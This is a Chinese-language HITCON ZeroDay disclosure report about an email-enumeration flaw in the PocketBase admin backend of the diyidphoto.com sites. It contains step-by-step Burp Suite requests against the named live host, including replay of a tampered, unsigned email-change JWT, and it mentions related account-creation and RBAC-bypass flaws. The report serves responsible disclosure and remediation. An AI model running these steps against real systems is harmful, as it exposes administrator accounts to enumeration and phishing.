Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00958
- Vendor: 誠和國際股份有限公司, 悟空科技股份有限公司, 株式会社喜喜
- Title: 悟空科技股份有限公司 後台系統所使用的後端管理程式之特定端點存在錯誤訊息差異,可導致 Email Enumeration/Account Existence Oracle
- Introduction: 網站後台管理頁面所使用的後端管理程式中,特定端點在特定條件下會回傳可被區分的錯誤訊息,使攻擊者得以判斷目標 email 是否已綁定至後台使用者帳號,構成具前置條件的 Email Enumeration/Account Existence Oracle。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/07/28 10:25:01 : 新提交 (由 更新此狀態)
- 2026/07/28 10:40:34 : 新提交 (由 更新此狀態)
- 2026/07/28 11:44:21 : 新提交 (由 更新此狀態)
- 2026/08/03 12:32:04 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 18:57:44 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 18:57:44 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 18:57:44 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/09/27 03:00:11 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
參考資料
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
相關網址
https://diyidphoto.com/api/pb/api/collections/users/confirm-email-change
敘述
0. 摘要(Summary)
https://helper.diyidphoto.com/ 使用 PocketBase 作為其後端管理程式,且是 https://diyidphoto.com/zh-tw/ 與 https://jp.diyidphoto.com/ 的後台管理頁面。
測試時發現,只要先透過正常的 email-change 流程取得系統簽發的 email-change token,再修改其中的 newEmail 並重放請求,即可從 /api/pb/api/collections/users/confirm-email-change 端點的錯誤訊息差異,判斷目標 email 是否已綁定至其他使用者(網站後台管理人員)帳號。
例如,當 newEmail 已存在於系統中時,系統會回傳:
The new email address is already registered: <Redacted_Email>
相對地,當 newEmail 不存在於系統中(並與原先請求之 email 不匹配)時,系統可能將 token 判定為無效並回傳:
Invalid or expired token.
由於上述錯誤訊息可被明確區分,攻擊者得以推斷特定 email 是否已註冊或綁定至其他使用者帳號,因此構成具前置條件的 Email Enumeration/Account Existence Oracle。
1. 受影響功能(Affected Feature)
-
功能:網站後台 PB user email-change 流程
-
主要受影響端點:
POST /api/pb/api/collections/users/request-email-change
POST /api/pb/api/collections/users/confirm-email-change
-
主要受影響資料:
- email 是否已綁定至其他後台使用者帳號
2. 漏洞驗證之前置條件(Preconditions for Verification)
- 需要擁有 2 個可登入
helper.diyidphoto.com後台的 PB user 帳號,建議該帳號"role": ["admin"]會比較方便測試。可參考未授權使用者可匿名建立後台帳號並任意指定 role與低權限後台帳號可繞過 RBAC建立。 - 需要有 2 個 email。
- 需使用 Burp Suite 的 JWT Editor 等相關擴充功能,以進行修改 JWT 操作。
- 須先透過一次正常的 email-change 流程取得一枚由系統簽發的 email-change token,作為後續修改與重放請求的基礎。
3. 重現步驟(Steps to Reproduce)與概念驗證(Proof of Concept)
以下重現步驟皆使用 Burp Suite 作為工具。
以下 PoC 僅整理我在實際測試中看到的重點證據。因為 HITCON 提交附件最多只能上傳 10 張圖,所以我只附足以證明主問題成立的必要代表性截圖。其餘我都有保留,若需要可再補充。
步驟 1:準備兩個 PB user 帳號
- 建立 PB user 帳號,其中一個帳號在註冊時綁 email。(可參考未授權使用者可匿名建立後台帳號並任意指定 role與低權限後台帳號可繞過 RBAC建立。)
例如:
PB user A - 未綁 email,用於發起 email-change 流程
POST /api/pb/api/collections/users/records HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
{
"password": "<Redacted_Password>",
"passwordConfirm": "<Redacted_Password>"
}
在 Response 中可見以下相關資訊:
{
"avatar": "",
"collectionId": "_pb_users_auth_",
"collectionName": "users",
"created": "<Created_Date_Time>",
"emailVisibility": false,
"id": "<Id>",
"name": "",
"role": <Role>,
"updated": "<Updated_Date_Time>",
"username": "<Username>",
"verified": false
}
PB user B - 綁 email,[email protected],用來代表該 email 已被註冊 / 已存在於系統中
POST /api/pb/api/collections/users/records HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
{
"email": "[email protected]",
"emailVisibility": true,
"password": "<Redacted_Password>",
"passwordConfirm": "<Redacted_Password>"
}
在 Response 中可見以下相關資訊:
{
"avatar": "",
"collectionId": "_pb_users_auth_",
"collectionName": "users",
"created": "<Created_Date_Time>",
"email": "[email protected]",
"emailVisibility": true,
"id": "<Id>",
"name": "",
"role": <Role>,
"updated": "<Updated_Date_Time>",
"username": "<Username>",
"verified": false
}
步驟 2:以 PB user A 完成一次 email-change 流程並取得 token
- 在 Burp Suite 中的 Repeater,將 PB user A 的 identity (username) / password 填入 request body 進行 PB 身份驗證,如下:
POST /api/pb/api/collections/users/auth-with-password HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
{
"identity": "<Redacted_Username>",
"password": "<Redacted_Password>"
}
送出後,可在 response 中取得 PB user A 之 JWT。
- 使用 PB user A 進行以下 email-change 請求。
其中 Request Header Authorization 填入剛剛得到的 PB user A 之 JWT,而參數 newEmail 須填寫確定可收到信件的 email。
POST /api/pb/api/collections/users/request-email-change HTTP/2
Host: helper.diyidphoto.com
Authorization: Bearer <redacted_auth_token>
Content-Type: application/json
{
"newEmail": "<Redacted_Email_A>"
}
- 經上述請求後,email 應收到一封信件,其中應有一組網址
https://diyidphoto.com/api/pb/_/#/auth/confirm-email-change/<JWT>。該網址中的<JWT>即為由系統簽發的 email-change token。
將網址貼上 Burp Suite 的瀏覽器,輸入此帳號 PB user A 之密碼,完成 email-change 流程。
步驟 3:重放 confirm-email-change 請求
- 經過上述步驟後,從 Burp Suite 的 Proxy 頁籤中的 HTTP history 中,應可見以下請求,請將其發送至 Repeater。
POST /api/pb/api/collections/users/confirm-email-change HTTP/2
Host: diyidphoto.com
Content-Type: application/json
{
"token": "<JWT>",
"password": "<PB_User_A_Password>"
}
後續測試皆以此由系統簽發的 email-change token 作為修改與重放請求的基礎。
- 在 Repeater 直接重放上述請求,即會在回應中可見
{
"code": 400,
"message": "Something went wrong while processing your request.",
"data": {
"password": {
"code": "validation_invalid_password",
"message": "Missing or invalid auth record password."
},
"token": {
"code": "validation_existing_token_email",
"message": "The new email address is already registered: <Redacted_Email_A>"
}
}
}
其中明確表示 The new email address is already registered,且 <Redacted_Email_A> 之處為我們在步驟 2 中填入的 email。
步驟 4:測試 newEmail 已被其他使用者註冊或擁有的情境
- 載入 Burp Suite 的 JWT Editor 擴充功能,解析上述由系統簽發的 email-change token,應會發現
POST /api/pb/api/collections/users/confirm-email-change請求中的參數token的值,可被解碼為
{
"alg": "HS256",
"typ": "JWT"
}
{
"collectionId": "_pb_users_auth_",
"email": "",
"exp": <Exp>,
"id": "<PB_User_A_Id>",
"newEmail": "<Redacted_Email_A>",
"type": "authRecord"
}
- 將系統簽發的 email-change token 中的
newEmail修改為 PB user B 綁定的 email(此例中為Redacted_Email_B),且不重新簽章。接著重放請求,即可看到以下回應:
{
"code": 400,
"message": "Something went wrong while processing your request.",
"data": {
"password": {
"code": "validation_invalid_password",
"message": "Missing or invalid auth record password."
},
"token": {
"code": "validation_existing_token_email",
"message": "The new email address is already registered: <Redacted_Email_B>"
}
}
}
即可知該 Redacted_Email_B 已被註冊 / 已存在於系統中。
步驟 5:測試 newEmail 與原先請求不匹配的情境
- 接著,將
newEmail改為非步驟 2 之 email,且可合理確認尚未註冊的測試用 email,例如[email protected]
{
"alg": "HS256",
"typ": "JWT"
}
{
"collectionId": "_pb_users_auth_",
"email": "",
"exp": <Exp>,
"id": "<PB_User_A_Id>",
"newEmail": "[email protected]",
"type": "authRecord"
}
同樣不重新簽章,然後點擊 Send 按鈕以重放請求,即會在回應中可見
{
"code": 400,
"message": "Something went wrong while processing your request.",
"data": {
"password": {
"code": "validation_invalid_password",
"message": "Missing or invalid auth record password."
},
"token": {
"code": "validation_invalid_token",
"message": "Invalid or expired token."
}
}
}
其中明確表示 Invalid or expired token。
4. 預期行為(Expected Behavior)
正常情況下,confirm-email-change 端點不應讓外部呼叫者透過錯誤訊息差異判斷 email 是否存在於系統中。
以下任一情境皆應回傳一致且模糊化的錯誤訊息:
- email 已存在
- email 不存在與原先請求不匹配
- token invalid
- token expired
- token 已使用
- password invalid
- email change request 無法完成
例如統一回傳:
The email change request is invalid or cannot be completed.
5. 實際行為(Actual Behavior)
實際測試中,修改 email-change token 內的 newEmail 並重放請求後,confirm-email-change 端點會依據目標 email 是否存在,回傳不同的錯誤訊息:
- 當
newEmail已存在於系統中時,系統會回傳The new email address is already registered。 - 當
newEmail不存在於系統中,且與原先請求的 email 不匹配時,系統會回傳Invalid or expired token。
由於上述回應可被明確區分,攻擊者可據此判斷特定 email 是否已註冊,構成具前置條件的 Email Enumeration/Account Existence Oracle。
6. 影響(Impact)
此問題可能導致以下風險:
- 提高攻擊者對後台帳號的存在性確認與掌握程度
- 對確定有後台帳號的 email,進行密碼暴力破解、釣魚或社交工程
- 與其它漏洞串聯,例如低權限後台帳號可繞過 RBAC,在訂單查詢功能中搜尋
測試或test,可取得疑似公司內部人員的 email;接著利用此漏洞,確認該 email 是否已綁定至後台管理帳號,再據此進行釣魚或社交工程等後續攻擊。
7. 可能的根本原因(Likely Root Cause)
由於修改後的 token 未重新簽章,系統仍會依據 Payload 中的 newEmail 是否存在而回傳不同的錯誤訊息。
因此,問題除了錯誤訊息過於具體外,也可能與 token 驗證及資料檢查的執行順序有關。
可能的原因包括:
- 後端可能在完整驗證 token 的簽章、有效期限、用途、帳號關聯及使用狀態前,即讀取 Payload 中的
newEmail,並執行 email 存在性檢查。 - 後端將
email 已存在與token invalid視為不同錯誤,並直接將可被區分的錯誤訊息回傳給前端。 - 未對錯誤訊息進行一致且模糊化的處理,導致外部呼叫者可藉由
confirm-email-change端點的回應差異,推測 email 是否存在於系統中。 - 系統缺少防枚舉設計,或未針對相關 API 端點設計一致且模糊化的錯誤訊息(可見多個 API 端點回傳詳細錯誤訊息)。
8. 嚴重性評估(Severity Assessment)
中風險(Medium)
理由:
- 問題發生在後台管理系統使用的管理程式 PB 端點
- 可造成後台帳號 email enumeration / account existence disclosure,提高針對網站後台管理人員被攻擊的風險
- 此問題可放大後台相關漏洞風險(詳見未授權使用者可匿名建立後台帳號並任意指定 role、低權限後台帳號可繞過 RBAC與後台身份驗證可被繞過),作為釣魚或社交工程等攻擊的前置作業
- 單獨看此漏洞,須先取得 PB user 帳號,並透過正常 email-change 流程取得一枚由系統簽發的 email-change token,作為後續修改與重放請求的基礎,因此漏洞利用受限。但由於此類漏洞(詳見未授權使用者可匿名建立後台帳號並任意指定 role與低權限後台帳號可繞過 RBAC)降低取得帳號門檻,因此增加了此漏洞被利用的風險。
9. 補充說明(Researcher Note)
-
本報告之測試僅限確認漏洞存在,未進行批次化、大量化或自動化操作,也未進行破壞性操作。
-
由於此系統與技術牽涉到三家公司-台灣公司為誠和國際股份有限公司(
https://www.seiwainc.com.tw/)與悟空科技股份有限公司(https://www.goqoo.com/),日本公司為株式会社喜喜(https://jp.diyidphoto.com/)。就可見資料顯示(https://twincn.com/84108618、https://www.twincn.com/80682392、https://jp.diyidphoto.com/lawOfPayment),三間公司經營者高度相關。但目前無法確定哪間公司統籌系統、技術與網站走向,並且問題可牽涉到跨國站點,因此建議同時聯絡三間公司。
以下是三間公司之相關信箱:
誠和國際:[email protected]
悟空科技:[email protected]
DIY證件照-台灣站(悟空科技):[email protected]
DIY證件照-日本站(株式会社喜喜):[email protected]修補建議
## 修補建議(Remediation Suggestions)
1. 完整驗證 token 後再處理 `newEmail`
- 在讀取或使用 token Payload 中的 `newEmail` 前,應先完整驗證 token 的簽章、有效期限、用途、帳號關聯及使用狀態。
- 若任一驗證失敗,應立即終止處理,不應繼續執行 email 存在性檢查或其他資料驗證。
- 不應根據尚未完成驗證的 token Payload 內容查詢或判斷帳號資料。
2. 統一 `confirm-email-change` 端點的錯誤訊息
- 不要讓 `email 已存在`、`token invalid`、`token expired`、`password invalid` 等情境回傳可被外部區分的錯誤。
- 應對外回傳一致且模糊化的錯誤訊息。
3. 不向前端或外部呼叫者暴露敏感錯誤資訊
- 例如避免直接回傳:
```text
validation_existing_token_email
validation_invalid_token
already registered
Invalid or expired token
```
- 若內部仍需要記錄詳細的錯誤原因,建議只保留於後端 log 中。
4. 強化高風險帳號操作保護
電子郵件變更等敏感操作,可考慮加入:
- 近期登入驗證
- 舊 email 通知
- 新舊 email 雙向通知
- 高權限帳號的額外保護